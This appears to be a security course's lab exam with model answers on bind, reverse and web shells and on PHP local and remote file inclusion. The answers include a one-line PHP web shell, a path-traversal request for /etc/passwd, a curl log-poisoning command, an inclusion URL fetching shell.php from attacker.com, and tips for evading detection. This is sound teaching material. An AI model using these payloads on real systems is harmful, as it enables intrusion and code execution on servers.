Lab questions 202502

Question 4 - 1x

Objective

This question evaluates the student's understanding of remote shells, their different types, and how they can be leveraged for remote access in ethical hacking scenarios. It also tests the ability to analyze and design a method to establish a remote shell under specific constraints.

— FROM HERE

————————————————————————————————————

Scenario

You are conducting a penetration test on a Linux-based web server that you have successfully compromised through an arbitrary file upload vulnerability. The target server runs a standard LAMP stack (Linux, Apache, MySQL, PHP) but has restricted outbound network connections due to firewall rules.

You have the ability to upload and execute PHP scripts but do not have access to Netcat, Socat, or Metasploit on the server. However, basic shell utilities like bash, sh, and openssl are available.

Questions

Types of Shells:

- Explain the difference between a **bind shell, reverse shell** and a **web-shell**.
- Given the above network restrictions, which type of shell would be more suitable? Justify your answer.

Establishing Remote Access:

- Write a minimal shell that allows remote command execution.

Detection and Evasion:

- If you were to write an IDS/IPS system, what would you use to detect a shell like the one you created above?
- How could you modify the reverse shell payload to reduce the likelihood of detection?

— TO HERE

——————————————————————————————————

Answers

Types of Shells

1. **Bind shell**: The target machine opens a listening port, and the attacker connects to it to gain shell access.
   Reverse shell: The target machine initiates a connection to the attacker's machine, which listens for incoming connections.
2. Since outbound connections are restricted, a **web-shell** or maybe a **bind shell** (assuming other inbound ports are allowed) are the preferred choice, as it allows the attacker to connect from outside without requiring the target to establish an outbound connection.

Establishing Remote Access:

Minimal PHP Web Shell:

```
<?php system($_GET['cmd']); ?>
```

Detection and Evasion:

IDS/IPS can detect reverse shells through:

- Signature-based detection (known payload patterns)
- Behavioral anomalies (unexpected network activity)
- Unusual use of system binaries (e.g., Netcat, Bash over TCP)

To evade detection, an attacker can:

- Use encrypted or encoded traffic (e.g., Base64 encoding or OpenSSL tunneling)
- Utilize common system utilities (Living Off the Land tactics)
- Randomize payloads to avoid signature-based detection

Question 5 - 1.5x

Objective

This question evaluates the student's understanding of web application vulnerabilities, specifically **Local File Inclusion (LFI)** and **Remote File Inclusion (RFI)**. The goal is to assess their ability to analyze a vulnerable web application, understand how attackers exploit these weaknesses, and propose effective mitigations.

— FROM HERE

——————————————————————————————

Scenario

A small e-commerce startup has developed a custom-built PHP web application that allows users to switch between different languages via a parameter in the URL:

`https://victim.com/index.php?lang=en.php`

During a penetration test, you discover that this parameter is vulnerable to **Local File Inclusion (LFI)**. You further analyze the server logs and realize that an attacker has uploaded a web shell through **log poisoning**.

Additionally, the same application has a file upload feature that allows users to upload images. This feature lacks proper validation and has been exploited for **Remote File Inclusion (RFI)** attacks.

Questions

Understanding LFI Exploitation

- Explain how the `lang` parameter could be exploited to read system files (e.g., `/etc/passwd`).
- Describe how an attacker might escalate an LFI vulnerability to achieve **Remote Code Execution (RCE)** via **log poisoning**.

Understanding RFI Exploitation

- How could the vulnerable file upload function (e.g., image URL) be exploited for **Remote File Inclusion (RFI)**?
- What are the key differences between LFI and RFI in terms of exploitation and impact?

Mitigation Strategies

- Suggest **effective security measures** to prevent LFI vulnerabilities.
- Suggest **effective security measures** to prevent RFI risks.

— TO HERE

————————————————————————————————————

Answer

Understanding LFI Exploitation

The application dynamically includes files using the `lang` parameter. If proper sanitization is missing, an attacker could manipulate the input to access sensitive files:

```
https://victim.com/index.php?lang=../../../../etc/passwd
```

This traversal trick allows reading system files, exposing usernames and other sensitive data.

Log Poisoning to Achieve RCE:

If the web server logs user-agent strings or access errors, an attacker can inject malicious PHP code into these logs by accessing a non-existent page with a crafted request:

```
curl -A "<?php system($_GET['cmd']); ?>" http://victim.com/404.php
```

The attacker then accesses the log file via LFI:

```
https://victim.com/index.php?lang=/var/log/apache2/access.log
```

This results in remote code execution (RCE) when the PHP code is executed.

Understanding RFI Exploitation

If the file upload feature does not validate file types properly, an attacker can upload a **malicious PHP script** (e.g., `shell.php`) and then include it remotely:

```
https://victim.com/index.php?lang=http://attacker.com/shell.php
```

This allows the attacker to execute arbitrary commands on the victim's server.

Differences Between LFI and RFI:

- **LFI** exploits local files already present on the server.
- **RFI** fetches and executes files from an external source.

- **LFI requires directory traversal**, while **RFI relies on unrestricted external file inclusion**.

Mitigation Strategies

Preventing LFI:

- **Whitelisting**: Only allow predefined language file names (e.g., `en.php`, `fr.php`).
- **Sanitize Input**: Reject user input containing `../`, `..%2f`, or null bytes.

Preventing RFI:

- **Restrict file uploads**: Allow only specific MIME types and enforce strict extensions.
- **Use a secure directory for file storage**: Store uploads outside the web root to prevent direct execution.